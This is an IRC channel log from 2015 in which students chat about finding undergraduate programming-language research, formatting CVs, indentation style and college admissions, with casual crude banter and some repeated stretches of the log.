[2015-01-22T00:00:27-0500] <alokpathy> Are there any PLT guys at Amherst?
[2015-01-22T00:00:41-0500] <alokpathy> any other*
[2015-01-22T00:00:59-0500] <nezorg> assface: ...why is that a hitler mustache
[2015-01-22T00:01:24-0500] <@awe> alokpathy: basically, no.
[2015-01-22T00:01:24-0500] <assface> because Hitler used to be an electro musician before he went into art
[2015-01-22T00:02:02-0500] <@awe> assface: naturally.
[2015-01-22T00:02:09-0500] <@awe> alokpathy: technically, there's two PL research groups.
[2015-01-22T00:02:17-0500] <Hyper> awe: giving jacob's code a grade is a disservice to all those who have ever failed classes
[2015-01-22T00:02:45-0500] <@awe> alokpathy: systems and language implementation and PLASMA.
[2015-01-22T00:03:09-0500] <alokpathy> awe: Which one were you interested in?
[2015-01-22T00:03:13-0500] <alokpathy> also what's PLASMA? o.O
[2015-01-22T00:03:21-0500] <@awe> alokpathy: the former is currently focused on garbage collection. the latter is currently focused on a few different runtime techniques.
[2015-01-22T00:03:25-0500] <assface> alokpathy: it's the fourth state of matter silly
[2015-01-22T00:03:31-0500] <@awe> Honestly, neither of them are *really* what I want to do.
[2015-01-22T00:03:47-0500] <@awe> I don't remember what plasma stands for
[2015-01-22T00:03:50-0500] <alokpathy> awe: Do you know what you really want to do?
[2015-01-22T00:03:54-0500] <@awe> it's programming languages and something at massachusetts.
[2015-01-22T00:03:59-0500] <alokpathy> assface: Thank you for the insight :P
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[2015-01-22T00:04:24-0500] <@awe> I want to implement high-level languages, design intuitive abstractions, etc.
[2015-01-22T00:04:52-0500] <@awe> I'd be really done with working on Disciple for example.
[2015-01-22T00:05:16-0500] <alokpathy> Oh cool
[2015-01-22T00:05:32-0500] <alokpathy> Hm, have you tried physically going up to that PLT guy?
[2015-01-22T00:05:42-0500] <assface> *coming onto
[2015-01-22T00:05:43-0500] <@awe> (It's a strict functional Core-like language and compiler that's being designed as an intermediary for things like Haskell and similar high-level languages so that they can compile more performantly)
[2015-01-22T00:05:50-0500] <@awe> I've never met him.
[2015-01-22T00:06:10-0500] <@awe> I could try to find his office hours, but again, honestly, while I find the stuff he's doing interesting, I want to be building abstractions
[2015-01-22T00:06:13-0500] <assface> ooh, a blind date!
[2015-01-22T00:06:15-0500] <@awe> not working on clever memory allocation techniques.
[2015-01-22T00:07:06-0500] <alokpathy> Ah, okay
[2015-01-22T00:08:42-0500] <@awe> So, I don't really know what I should do because nobody here is doing what I want.
[2015-01-22T00:09:08-0500] <alokpathy> Maybe there's somebody at a nearby school?
[2015-01-22T00:09:12-0500] <@awe> N.
[2015-01-22T00:09:18-0500] <alokpathy> poo
[2015-01-22T00:09:18-0500] <@awe> The nearby schools are liberal arts schools.
[2015-01-22T00:09:30-0500] <assface> are you looking for a thesis topic or something?
[2015-01-22T00:09:38-0500] <@awe> No, I'm looking to do undergraduate research.
[2015-01-22T00:09:53-0500] <assface> you mean being an assistant to a professor
[2015-01-22T00:10:21-0500] <@awe> I'm looking to write some code for someone else's research and then get to slap my name on the paper that then gets published in ACM or IEEE
[2015-01-22T00:10:25-0500] <@awe> and then I can apply to good grad schools
[2015-01-22T00:10:26-0500] <@awe> and get in
[2015-01-22T00:10:30-0500] <@awe> and then actually do the research that I want
[2015-01-22T00:10:32-0500] <@awe> and then get a PhD
[2015-01-22T00:10:46-0500] <@awe> And then get someone to write some code for my paper and slap their name on it
[2015-01-22T00:10:50-0500] <@awe> then get it published in ACM or IEEE
[2015-01-22T00:10:59-0500] <@awe> and then go to Microsoft Research or Mozilla Research
[2015-01-22T00:11:06-0500] <@awe> do some post-doc research where I get someone to write some code for my paper
[2015-01-22T00:11:08-0500] <@awe> and slap their name on it
[2015-01-22T00:11:12-0500] <@awe> and then publish it in ACM or IEEE
[2015-01-22T00:11:15-0500] <alokpathy> I have a feeling that the guy you contacted would be more open for undergrad research once you become like a junior or something
[2015-01-22T00:11:27-0500] <assface> ^
[2015-01-22T00:11:36-0500] <assface> age = experience
[2015-01-22T00:11:40-0500] <@awe> That's great, but I'm graduating in three years and these papers take a lot of time.
[2015-01-22T00:11:42-0500] <assface> experience = usefulness
[2015-01-22T00:11:55-0500] <@awe> Age /= experience.
[2015-01-22T00:11:59-0500] <nezorg> alokpathy: heheh, talk to giovanni vigna :P
[2015-01-22T00:12:02-0500] <@awe> ^
[2015-01-22T00:12:17-0500] <@awe> They want someone who will be useful, independent of age.
[2015-01-22T00:12:23-0500] <nezorg> there's one sophomore, one freshman, and one... high schooler in my lab
[2015-01-22T00:12:35-0500] <alokpathy> nezorg: I mean obviously there are some who are open to it, lol.
[2015-01-22T00:12:42-0500] <nezorg> then again security is a pretty... talent-constrained field
[2015-01-22T00:13:19-0500] <alokpathy> Just from what I've seen, UROP programs tend to be open only for junior+, sometimes sophomore
[2015-01-22T00:13:31-0500] <@awe> nezorg: let's be real, so is PLT
[2015-01-22T00:13:39-0500] <nezorg> really?
[2015-01-22T00:13:44-0500] <alokpathy> nezorg: Probably
[2015-01-22T00:13:44-0500] <nezorg> it seems like it would be popular
[2015-01-22T00:13:53-0500] <@awe> Not really.
[2015-01-22T00:13:54-0500] <nezorg> then again it also seems like sec would be popular
[2015-01-22T00:13:57-0500] <@awe> Yeah.
[2015-01-22T00:14:02-0500] <alokpathy> I would think security > PLT
[2015-01-22T00:14:04-0500] <nezorg> I like it for the drama :P
[2015-01-22T00:14:05-0500] <@awe> The issue is that most CS people aren't doing research. :p
[2015-01-22T00:14:10-0500] <alokpathy> Yeah, lol
[2015-01-22T00:14:18-0500] <nezorg> ...no, seriously, though
[2015-01-22T00:14:18-0500] <@awe> So, it's not like any of these professors have a dozen students beating down their door.
[2015-01-22T00:14:28-0500] <nezorg> that's honestly one of the reasons I'm considering security as a career
[2015-01-22T00:14:31-0500] <nezorg> it just seems so exciting
[2015-01-22T00:14:35-0500] <nezorg> (which seems childish, but meh)
[2015-01-22T00:14:36-0500] <@awe> Security is neat.
[2015-01-22T00:14:40-0500] <@awe> I don't think it's childish.
[2015-01-22T00:14:46-0500] <alokpathy> nezorg: Nah, it's not childish
[2015-01-22T00:14:48-0500] <nezorg> you get to piss off the government! :D
[2015-01-22T00:14:54-0500] <@awe> I want to do programming language design because I view it like a game.
[2015-01-22T00:14:56-0500] <alokpathy> I think everybody here has something they're excited about.
[2015-01-22T00:15:08-0500] <@awe> You get to play around.
[2015-01-22T00:15:24-0500] <alokpathy> Algos are purty :3
[2015-01-22T00:15:26-0500] <assface> I'm not particularly excited about anything
[2015-01-22T00:15:44-0500] <nezorg> not even face-sitting?
[2015-01-22T00:15:46-0500] <nezorg> considering your name
[2015-01-22T00:15:47-0500] <alokpathy> assface: You just joined. You'll find something soon :P
[2015-01-22T00:16:12-0500] <nezorg> awe: back to resume/CV, what format should I put it in then?
[2015-01-22T00:16:16-0500] <assface> no, face-sitting is more like a job than a hobby
[2015-01-22T00:16:27-0500] <nezorg> there are even protests over it
[2015-01-22T00:16:44-0500] <assface> yes
[2015-01-22T00:16:57-0500] <@awe> nezorg: http://codyps.com/cody_schafer.pdf
[2015-01-22T00:17:03-0500] <assface> on April 16, 1985 all the face-sitters in the country when in strike
[2015-01-22T00:17:06-0500] <@awe> nezorg: example of a very effective CV
[2015-01-22T00:17:14-0500] <assface> the country was down on its knees within hours
[2015-01-22T00:17:35-0500] <@awe> alokpathy: I think algos would be cool, but I also feel like I'm too dumb.
[2015-01-22T00:17:37-0500] <nezorg> awe: but that's booooooooring
[2015-01-22T00:17:47-0500] <nezorg> awe: plus this is for a company that already knows who I am
[2015-01-22T00:18:00-0500] <@awe> nezorg: then hand them shit on a paper with your name on it.
[2015-01-22T00:18:03-0500] <nezorg> they mostly just need to verify I have enough background knowledge
[2015-01-22T00:18:11-0500] <nezorg> ...which kinda sucks because I haven't taken any classes or anything
[2015-01-22T00:18:11-0500] <@awe> nezorg: I'd still do something like this.
[2015-01-22T00:19:06-0500] <nezorg> what about awards?
[2015-01-22T00:19:13-0500] <nezorg> since that kinda constitutes a lot of my experience
[2015-01-22T00:19:27-0500] <nezorg> also I really like the plain-text format
[2015-01-22T00:19:40-0500] <nezorg> although I suppose I could lose the `"nezorg"` and the puts-on-sunglasses
[2015-01-22T00:20:04-0500] <@awe> Yeah, you can throw an awards section in there.
[2015-01-22T00:25:32-0500] <@awe> But the general formatting should be like this.
[2015-01-22T00:34:09-0500] <nezorg> awe: can't it be plain text? :/
[2015-01-22T00:39:25-0500] <nezorg> awe: https://www.dropbox.com/s/v5eyhjuhx3tfont/resume.txt?dl=0
[2015-01-22T00:39:33-0500] <nezorg> I unfortunately don't have many interesting projects :(
[2015-01-22T00:41:20-0500] <@awe> plain text is fine, yeah.
[2015-01-22T00:41:32-0500] <@awe> Use tabs for formatting though.
[2015-01-22T00:41:37-0500] <@awe> And complete sentences
[2015-01-22T00:41:44-0500] <@awe> and breakdowns by area and stuff
[2015-01-22T00:42:06-0500] <nezorg> no tabs!
[2015-01-22T00:42:18-0500] <assface> >he's a four-spaces plebian
[2015-01-22T00:42:20-0500] <nezorg> did you look at it?
[2015-01-22T00:42:26-0500] <nezorg> (awe)
[2015-01-22T00:42:33-0500] <@awe> I did.
[2015-01-22T00:42:40-0500] <@awe> I agree spaces are good for code.
[2015-01-22T00:42:43-0500] <@awe> But tabs are good for documents.
[2015-01-22T00:42:50-0500] <ubuntor> 4 spaces all the way
[2015-01-22T00:43:02-0500] <bob_twinkles> 2 spaces!
[2015-01-22T00:43:05-0500] <@awe> (4 spaces is the Rust standard, but I like two spaces for Haskell)
[2015-01-22T00:43:14-0500] <Pharyngeal> I don't have nearly enough to do tonight
[2015-01-22T00:43:24-0500] <@awe> Pharyngeal: want to write a reflection for me? xD
[2015-01-22T00:43:27-0500] <ubuntor> PEP 8
[2015-01-22T00:43:39-0500] <Pharyngeal> Nope, sorry
[2015-01-22T00:43:53-0500] <@awe> I didn't think so.
[2015-01-22T00:43:56-0500] <@awe> That's okay though.
[2015-01-22T00:44:56-0500] <Pharyngeal> I'm on shift, but there's nothing to do
[2015-01-22T00:47:50-0500] <Pharyngeal> I much prefer weekend shifts, when there are things to do
[2015-01-22T00:50:19-0500] <@awe> That makes sense.
[2015-01-22T00:50:56-0500] <assface> what do you do?
[2015-01-22T00:59:00-0500] <@awe> EMS.
[2015-01-22T00:59:09-0500] <@awe> Unless he means RA.
[2015-01-22T00:59:17-0500] <@awe> Either way, makes sense.
[2015-01-22T01:16:56-0500] <alokpathy> awe: nah, I don't think so
[2015-01-22T01:17:12-0500] <alokpathy> But it does take some getting used to, yeah
[2015-01-22T01:17:18-0500] <@awe> alokpathy: you and Jacob both know significantly more than I do about algos.
[2015-01-22T01:18:24-0500] <alokpathy> That's only because we started earlier...
[2015-01-22T01:18:39-0500] <alokpathy> Oops, didn't mean for the ellipsis
[2015-01-22T01:18:54-0500] <alokpathy> Awks
[2015-01-22T01:19:24-0500] <@awe> lol
[2015-01-22T01:19:26-0500] <@awe> Or maybe you really did mean it.
[2015-01-22T01:19:37-0500] <@awe> That ellipsis hurts, man.
[2015-01-22T01:21:24-0500] <alokpathy> No I didn't D:
[2015-01-22T01:21:34-0500] <alokpathy> Sorry awe :(
[2015-01-22T01:21:37-0500] <@awe> He has office hours on Friday, I think.
[2015-01-22T01:21:39-0500] <@awe> Maybe I'll go speak to him.
[2015-01-22T01:21:55-0500] <alokpathy> The PLTer?
[2015-01-22T01:21:58-0500] <@awe> I could talk to him after class tomorrow, but I have another class immediately after.
[2015-01-22T01:22:02-0500] <@awe> No, my professor.
[2015-01-22T01:22:11-0500] <alokpathy> Oh the algo one
[2015-01-22T01:22:15-0500] <@awe> I wish my professor last semester wasn't leaving for a startup. :\
[2015-01-22T01:22:19-0500] <alokpathy> Ah okay, that'd be cool
[2015-01-22T01:22:23-0500] <alokpathy> O
[2015-01-22T01:22:25-0500] <alokpathy> :(
[2015-01-22T01:22:27-0500] <@awe> He did research with the PLT guy.
[2015-01-22T01:22:31-0500] <@awe> And is also cool and liked me.
[2015-01-22T01:22:32-0500] <alokpathy> Aw
[2015-01-22T01:22:38-0500] <alokpathy> Join his startup :D
[2015-01-22T01:22:41-0500] <@awe> Ahahaha.
[2015-01-22T01:22:59-0500] <@awe> It was pretty bad. Right after I talked to him one time, I left his office and someone comes in trying to ask him about their own startup.
[2015-01-22T01:23:03-0500] <@awe> And I'm just like /facepalm.
[2015-01-22T01:23:31-0500] <@awe> It was also kind of funny because he tried to explain to me about how he was waiting for the next funding round before he could leave the university and whatnot
[2015-01-22T01:23:34-0500] <@awe> but he tried to explain the funding rounds
[2015-01-22T01:23:35-0500] <@awe> and I'm just like
[2015-01-22T01:23:48-0500] <@awe> "I work at an actual startup that isn't just a bunch of college kids. I know."
[2015-01-22T01:23:59-0500] <alokpathy> XD
[2015-01-22T01:24:26-0500] <@awe> But yeah, he was telling me about how I totally need to get in on research and that I should pretty much do it as soon as possible.
[2015-01-22T01:24:59-0500] <alokpathy> Oh nice
[2015-01-22T01:26:12-0500] <alokpathy> If you can't find anybody at Amherst, I guess your best bet would be a research internship
[2015-01-22T01:26:24-0500] <alokpathy> Though I don't know much about finding research
[2015-01-22T01:26:40-0500] <alokpathy> So that could be a completely terrible idea for all I know
[2015-01-22T01:26:59-0500] <@awe> I know someone who works on DDC but I'm pretty sure he hates my guys now.
[2015-01-22T01:27:00-0500] <@awe> guts*
[2015-01-22T01:27:14-0500] <alokpathy> DDC?
[2015-01-22T01:27:29-0500] <@awe> Disciplined Disciple Compiler
[2015-01-22T01:27:45-0500] <alokpathy> Hmm, sounds interesting
[2015-01-22T01:27:50-0500] <@awe> Though, quite frankly, he hasn't made any contributions in a while.
[2015-01-22T01:27:58-0500] <alokpathy> Oh, lol
[2015-01-22T01:28:13-0500] <alokpathy> Well I guess he could be a last resort
[2015-01-22T01:28:22-0500] <@awe> And working on a research compiler is a bad idea since I need to get my name on a paper.
[2015-01-22T01:28:35-0500] <alokpathy> Oh, true
[2015-01-22T01:29:06-0500] <@awe> Even if it would be really cool.
[2015-01-22T01:29:22-0500] <@awe> Maybe algo research is a good way to get into higher-level PLT stuff.
[2015-01-22T01:29:34-0500] <alokpathy> Could be
[2015-01-22T01:29:51-0500] <alokpathy> Idk if there's a relationship, but I wouldn't be surprised if there is one
[2015-01-22T01:30:09-0500] <@awe> Or maybe it doesn't matter so much the kind of research you did as an undergrad
[2015-01-22T01:30:14-0500] <@awe> as long as you had the experience doing it at all
[2015-01-22T01:30:17-0500] <@awe>  /shrug
[2015-01-22T01:30:21-0500] <@awe> Things to ask.
[2015-01-22T01:30:28-0500] <alokpathy> So many questions
[2015-01-22T01:31:44-0500] <@awe> I feel like that'd make sense though.
[2015-01-22T01:31:53-0500] <@awe> If grad schools just wanted to see having had the research experience at all.
[2015-01-22T01:34:42-0500] <alokpathy> Yeah I guess it would
[2015-01-22T01:44:50-0500] <alokpathy> Idk if they can expect undergrads to be 100% sure of their interests, so there's probably leeway in terms of what you research as an undergrad
[2015-01-22T01:46:19-0500] <LittleBobbyTables>  Iforgot moot retired
[2015-01-22T01:46:45-0500] <assface> yup
[2015-01-22T01:47:09-0500] <LittleBobbyTables> 4chans gonna be even more of a shitpool
[2015-01-22T01:47:48-0500] <@awe> alokpathy: yeah, that is also fair
[2015-01-22T01:48:19-0500] <@awe> alokpathy: I feel like I might be stressing myself out too much about research.
[2015-01-22T01:50:22-0500] <assface> LittleBobbyTables: who cares?
[2015-01-22T01:51:10-0500] <@awe> evidently, LittleBobbyTables cares.
[2015-01-22T01:51:30-0500] <assface> apparently
[2015-01-22T01:55:16-0500] <alokpathy> awe: I guess maybe a bit more patience, if anything. You still have some time
[2015-01-22T01:55:36-0500] <@awe> I'm honestly just really battered from undergraduate admissions.
[2015-01-22T01:56:15-0500] <@awe> I didn't really listen to what anyone said was the right thing to do, and I didn't get to go where I wanted.
[2015-01-22T01:56:57-0500] <@awe> I'm happy ultimately that I ended up here because (see my characterization of the impact of going to UMass on my life plans yesteday).
[2015-01-22T01:57:21-0500] <@awe> But I also really want to do most everything right, if I can.
[2015-01-22T01:58:09-0500] <alokpathy> That would be best
[2015-01-22T01:58:18-0500] <alokpathy> Darn I should probably sleep
[2015-01-22T01:58:32-0500] <@awe> Me too, but I still have to work on these reflections because I keep putting it off.
[2015-01-22T01:58:33-0500] <@awe> I finished one.
[2015-01-22T01:58:47-0500] <alokpathy> Ah, good luck lol
[2015-01-22T01:59:04-0500] <alokpathy> I'll go sleep now so I'm not dead in the morning
[2015-01-22T01:59:09-0500] <alokpathy> G'night
[2015-01-22T01:59:13-0500] <@awe> I'm going to do the last one tomorrow since I have a few hours.
[2015-01-22T01:59:18-0500] <@awe> But I've gotta finish the second one.
[2015-01-22T01:59:21-0500] <@awe> Good night, alokpathy.
[2015-01-22T02:11:54-0500] <@awe> Going to bed.
[2015-01-22T02:11:57-0500] <@awe> Good night, #pdgn.
[2015-01-22T02:12:50-0500] <@awe> @tell The_Master do you want me to get a Starbound server running again?
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[2015-01-22T02:12:50-0500] <@awe> @tell The_Master do you want me to get a Starbound server running again?
[2015-01-22T02:12:50-0500] <awebot> awe: I'll let them know!
[2015-01-22T03:18:55-0500] <Pharyngeal> I was doing EMS
[2015-01-22T03:19:05-0500] <Pharyngeal> But I got a call shortly after I said I was bored
[2015-01-22T03:19:09-0500] <Pharyngeal> So, it worked ;)
[2015-01-22T03:19:14-0500] <Pharyngeal> Anyway, night.
[2015-01-22T06:26:41-0500] <JacobEdelman> gmorning
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[2015-01-22T02:12:50-0500] <@awe> @tell The_Master do you want me to get a Starbound server running again?
[2015-01-22T02:12:50-0500] <awebot> awe: I'll let them know!
[2015-01-22T03:18:55-0500] <Pharyngeal> I was doing EMS
[2015-01-22T03:19:05-0500] <Pharyngeal> But I got a call shortly after I said I was bored
[2015-01-22T03:19:09-0500] <Pharyngeal> So, it worked ;)
[2015-01-22T03:19:14-0500] <Pharyngeal> Anyway, night.
[2015-01-22T06:26:41-0500] <JacobEdelman> gmorning
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[2015-01-22T23:47:47-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-22T23:42:49-0500] <+Tamini> alokpathy: same argument, between umd and gtech, i'd rather umd
[2015-01-22T23:42:49-0500] <nezorg> maybe if I publish something
[2015-01-22T23:42:50-0500] <alokpathy> I would say you do
[2015-01-22T23:42:51-0500] <assface> they want athelets
[2015-01-22T23:42:52-0500] <nezorg> but I doubt that'll happen
[2015-01-22T23:42:54-0500] <nezorg> assface: yeah
[2015-01-22T23:42:58-0500] <alokpathy> Tamini: I mean, I'd still put it
[2015-01-22T23:43:00-0500] <assface> Blake Parrish got in
[2015-01-22T23:43:03-0500] <alokpathy> 'cause college is more about
[2015-01-22T23:43:04-0500] <alokpathy> ranking
[2015-01-22T23:43:11-0500] <assface> they're giving him a full ride
[2015-01-22T23:43:11-0500] <nezorg> assface: so did trinh
[2015-01-22T23:43:17-0500] <+Tamini> alokpathy: ehhhh
[2015-01-22T23:43:20-0500] <alokpathy> especially if they're both in top 10
[2015-01-22T23:43:22-0500] <alokpathy> then it's like
[2015-01-22T23:43:24-0500] <alokpathy> do whatever you like
[2015-01-22T23:43:27-0500] <+Tamini> i'll like
[2015-01-22T23:43:35-0500] <+Tamini> panic apply if i get in nowhere early
[2015-01-22T23:43:53-0500] <alokpathy> I guess that works.
[2015-01-22T23:43:57-0500] <alokpathy> Though, GTech and UMD are EA
[2015-01-22T23:44:11-0500] <+Tamini> uhh
[2015-01-22T23:44:17-0500] <+Tamini> umd i want to do honors college
[2015-01-22T23:44:22-0500] <+Tamini> which is regular, just due before early is due
[2015-01-22T23:44:23-0500] <+Tamini> LOL
[2015-01-22T23:44:26-0500] <nezorg> Tamini: wassat
[2015-01-22T23:44:32-0500] <alokpathy> Tamini: I'm aware.
[2015-01-22T23:44:37-0500] <alokpathy> I applied :P
[2015-01-22T23:44:56-0500] <+Tamini> did results come out yet? :D
[2015-01-22T23:45:00-0500] <alokpathy> Nope
[2015-01-22T23:45:06-0500] <+Tamini> (also +1 vote for umd now since you might be there heh heh heh)
[2015-01-22T23:45:13-0500] <+Tamini> as of right now, where do you want to go?
[2015-01-22T23:45:19-0500] <nezorg> Tamini: what's honors college?
[2015-01-22T23:45:30-0500] <alokpathy> Tamini: I don't have many decisions so far.
[2015-01-22T23:45:44-0500] <alokpathy> Tamini: Or any aid decisions
[2015-01-22T23:46:01-0500] <+Tamini> nezorg: its a part of umd 
[2015-01-22T23:46:12-0500] <nezorg> huh
[2015-01-22T23:46:29-0500] <+Tamini> uhh
[2015-01-22T23:46:32-0500] <+Tamini> alokpathy: how to describe
[2015-01-22T23:46:33-0500] <+hardmath123> you guys talk so much
[2015-01-22T23:46:43-0500] <+Tamini> hardmath123: Im sorry :<
[2015-01-22T23:46:47-0500] <+hardmath123> i want a tldrbot
[2015-01-22T23:46:55-0500] <alokpathy> nezorg: Different, more rigorous curriculum than other students
[2015-01-22T23:46:56-0500] <+Tamini> tl;dr: college is hard
[2015-01-22T23:47:03-0500] <alokpathy> nezorg: Special housing
[2015-01-22T23:47:04-0500] <+hardmath123> yes exactly
[2015-01-22T23:47:05-0500] <alokpathy> That's about all I know
[2015-01-22T23:47:09-0500] <nezorg> huh
[2015-01-22T23:47:15-0500] <nezorg> basically "really special students"
[2015-01-22T23:47:22-0500] <+Tamini> alokpathy: i feel like college is the only time i've really felt "thank god we're rich" >_>
[2015-01-22T23:47:22-0500] <alokpathy> Essentially.
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[2015-01-22T23:48:24-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-22T23:43:03-0500] <alokpathy> 'cause college is more about
[2015-01-22T23:43:04-0500] <alokpathy> ranking
[2015-01-22T23:43:11-0500] <assface> they're giving him a full ride
[2015-01-22T23:43:11-0500] <nezorg> assface: so did trinh
[2015-01-22T23:43:17-0500] <+Tamini> alokpathy: ehhhh
[2015-01-22T23:43:20-0500] <alokpathy> especially if they're both in top 10
[2015-01-22T23:43:22-0500] <alokpathy> then it's like
[2015-01-22T23:43:24-0500] <alokpathy> do whatever you like
[2015-01-22T23:43:27-0500] <+Tamini> i'll like
[2015-01-22T23:43:35-0500] <+Tamini> panic apply if i get in nowhere early
[2015-01-22T23:43:53-0500] <alokpathy> I guess that works.
[2015-01-22T23:43:57-0500] <alokpathy> Though, GTech and UMD are EA
[2015-01-22T23:44:11-0500] <+Tamini> uhh
[2015-01-22T23:44:17-0500] <+Tamini> umd i want to do honors college
[2015-01-22T23:44:22-0500] <+Tamini> which is regular, just due before early is due
[2015-01-22T23:44:23-0500] <+Tamini> LOL
[2015-01-22T23:44:26-0500] <nezorg> Tamini: wassat
[2015-01-22T23:44:32-0500] <alokpathy> Tamini: I'm aware.
[2015-01-22T23:44:37-0500] <alokpathy> I applied :P
[2015-01-22T23:44:56-0500] <+Tamini> did results come out yet? :D
[2015-01-22T23:45:00-0500] <alokpathy> Nope
[2015-01-22T23:45:06-0500] <+Tamini> (also +1 vote for umd now since you might be there heh heh heh)
[2015-01-22T23:45:13-0500] <+Tamini> as of right now, where do you want to go?
[2015-01-22T23:45:19-0500] <nezorg> Tamini: what's honors college?
[2015-01-22T23:45:30-0500] <alokpathy> Tamini: I don't have many decisions so far.
[2015-01-22T23:45:44-0500] <alokpathy> Tamini: Or any aid decisions
[2015-01-22T23:46:01-0500] <+Tamini> nezorg: its a part of umd 
[2015-01-22T23:46:12-0500] <nezorg> huh
[2015-01-22T23:46:29-0500] <+Tamini> uhh
[2015-01-22T23:46:32-0500] <+Tamini> alokpathy: how to describe
[2015-01-22T23:46:33-0500] <+hardmath123> you guys talk so much
[2015-01-22T23:46:43-0500] <+Tamini> hardmath123: Im sorry :<
[2015-01-22T23:46:47-0500] <+hardmath123> i want a tldrbot
[2015-01-22T23:46:55-0500] <alokpathy> nezorg: Different, more rigorous curriculum than other students
[2015-01-22T23:46:56-0500] <+Tamini> tl;dr: college is hard
[2015-01-22T23:47:03-0500] <alokpathy> nezorg: Special housing
[2015-01-22T23:47:04-0500] <+hardmath123> yes exactly
[2015-01-22T23:47:05-0500] <alokpathy> That's about all I know
[2015-01-22T23:47:09-0500] <nezorg> huh
[2015-01-22T23:47:15-0500] <nezorg> basically "really special students"
[2015-01-22T23:47:22-0500] <+Tamini> alokpathy: i feel like college is the only time i've really felt "thank god we're rich" >_>
[2015-01-22T23:47:22-0500] <alokpathy> Essentially.
[2015-01-22T23:47:48-0500] <alokpathy> Tamini: Something tells me you should have felt that earlier :P
[2015-01-22T23:47:56-0500] <+Tamini> i didnt even realize until recently
[2015-01-22T23:48:06-0500] <+Tamini> then i realized when i applied to exeter i didn't need financial aid.
[2015-01-22T23:48:13-0500] <+Tamini> i was like "...oh"
[2015-01-22T23:48:16-0500] <assface> damn you really are rich
[2015-01-22T23:48:18-0500] <alokpathy> Wait legit?
[2015-01-22T23:48:21-0500] <+Tamini> Yeah.
[2015-01-22T23:48:23-0500] <alokpathy> How much is Exeter?
[2015-01-22T23:48:24-0500] <failedxyz> lol
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[2015-01-22T23:48:28-0500] <+Tamini> my parents were entirely okay with paying
[2015-01-22T23:48:34-0500] <failedxyz> wait
[2015-01-22T23:48:38-0500] <assface> I'm going to have to get academic scholarships to pay for a UC
[2015-01-22T23:48:38-0500] <failedxyz> exeter?
[2015-01-22T23:48:48-0500] <alokpathy> failedxyz: Phillips Exeter Academy
[2015-01-22T23:48:54-0500] <alokpathy> Private school in like
[2015-01-22T23:48:54-0500] <nezorg> assface: why not finaid?
[2015-01-22T23:48:55-0500] <alokpathy> NH
[2015-01-22T23:48:56-0500] <failedxyz> :o
[2015-01-22T23:49:24-0500] <assface> nezorg: becaue a small income in SB is a big income in LA
[2015-01-22T23:49:48-0500] <alokpathy> Tamini: So, what's your list so far?
[2015-01-22T23:49:57-0500] <+Tamini> alokpathy: long :P
[2015-01-22T23:49:58-0500] <+Tamini> um
[2015-01-22T23:50:05-0500] <assface> my Dad would know, he does that stuff all the time
[2015-01-22T23:50:09-0500] <+Tamini> MIT/Caltech/UChicago early
[2015-01-22T23:50:16-0500] <alokpathy> UChicago's EA?
[2015-01-22T23:50:18-0500] <nezorg> assface: ah :/
[2015-01-22T23:50:30-0500] <+Tamini> UMD, CMU(SCS), Princeton, Cornell, UPenn, Berkeley, Stanford(maybe0
[2015-01-22T23:50:37-0500] <+Tamini> chicago's EA, yeah
[2015-01-22T23:50:49-0500] <@awe> Tamini: why Chicago?
[2015-01-22T23:50:49-0500] <awebot> awe: 6 hours ago, The_Master said A starbound server would be great.
[2015-01-22T23:50:49-0500] <awebot> awe: 6 hours ago, nezorg said make nicks more secure. love assface.
[2015-01-22T23:50:51-0500] <failedxyz> Tamini: don't worry you're a girl so you'll automatically get accepted to all of these colleges G.G
[2015-01-22T23:51:02-0500] <assface> ppfttt
[2015-01-22T23:51:04-0500] <alokpathy> awebot: awebot sexually harassed me again.
[2015-01-22T23:51:05-0500] <+Tamini> failedxyz: one of my girl friends got flat-out rejected from MIT early
[2015-01-22T23:51:12-0500] <+Tamini> so i no longer believe that
[2015-01-22T23:51:13-0500] <@awe> nezorg: assface there isn't really a way to, and I don't really care to.
[2015-01-22T23:51:14-0500] <+Tamini> she did math/chem too.
[2015-01-22T23:51:19-0500] <failedxyz> what about cs
[2015-01-22T23:51:26-0500] <nezorg> awe: that was when assface == nezorg
[2015-01-22T23:51:33-0500] <failedxyz> lol
[2015-01-22T23:51:38-0500] <@awe> nezorg: I wasn't sure who took who's name.
[2015-01-22T23:51:44-0500] <alokpathy> failedxyz: It doesn't guarantee acceptance.
[2015-01-22T23:51:47-0500] <assface> awe: at the fime I thought there wre no passwords
[2015-01-22T23:51:52-0500] <alokpathy> Nothing guarantees acceptance.
[2015-01-22T23:51:53-0500] <@awe> Ah, no. There are.
[2015-01-22T23:51:54-0500] <nezorg> awe: a lot of shit went down
[2015-01-22T23:52:05-0500] <assface> ^
[2015-01-22T23:52:29-0500] <assface> feces had an inelastic collision with some blades rotating at high speed
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[2015-01-22T23:53:18-0500] <@awe> nezorg: honors colleges are basically ways for public schools to give rich students some of the amenities they'd get at a private school, and pretend that it's a privilege for "academic performance"
[2015-01-22T23:53:23-0500] <+Tamini> failedxyz: not sure how to make "i am 1337 haxor" sound appealing to colleges
[2015-01-22T23:53:31-0500] <+Tamini> lol, awe
[2015-01-22T23:53:41-0500] <assface> maybe to NYU
[2015-01-22T23:53:44-0500] <jwoglom> Tamini: lots of awards? :P
[2015-01-22T23:53:50-0500] <@awe> nezorg: they get access to special courses (that are not necessarily more rigorous, but are displayed as such), and they get nicer housing.
[2015-01-22T23:53:50-0500] <+Tamini> I was told that uh
[2015-01-22T23:54:05-0500] <+Tamini> "i cant tell you that you'll be accepted but i can tell you that no one with your qualifications has ever been rejected"
[2015-01-22T23:54:06-0500] <+Tamini> so
[2015-01-22T23:54:14-0500] <@awe> assface: inelastic collision, eh?
[2015-01-22T23:54:30-0500] <@awe> Tamini: this is to where?
[2015-01-22T23:54:35-0500] <nezorg> I think nyu also would like me to come
[2015-01-22T23:54:43-0500] <nezorg> they had their cs dept chair talk to me
[2015-01-22T23:54:49-0500] <+Tamini> awe: nyu
[2015-01-22T23:54:51-0500] <@awe> Ah, okay.
[2015-01-22T23:54:54-0500] <nezorg> (that is, nyu poly)
[2015-01-22T23:54:57-0500] <@awe> NYU is hella expensive.
[2015-01-22T23:54:58-0500] <nezorg> (for me)
[2015-01-22T23:55:01-0500] <+Tamini> yeah same
[2015-01-22T23:55:03-0500] <alokpathy> Something tells me getting aid for NYU is harder than getting in xD
[2015-01-22T23:55:06-0500] <nezorg> awe: scholarships from hsf! :P
[2015-01-22T23:55:08-0500] <+Tamini> well i have
[2015-01-22T23:55:10-0500] <+Tamini> lots of money from hsf
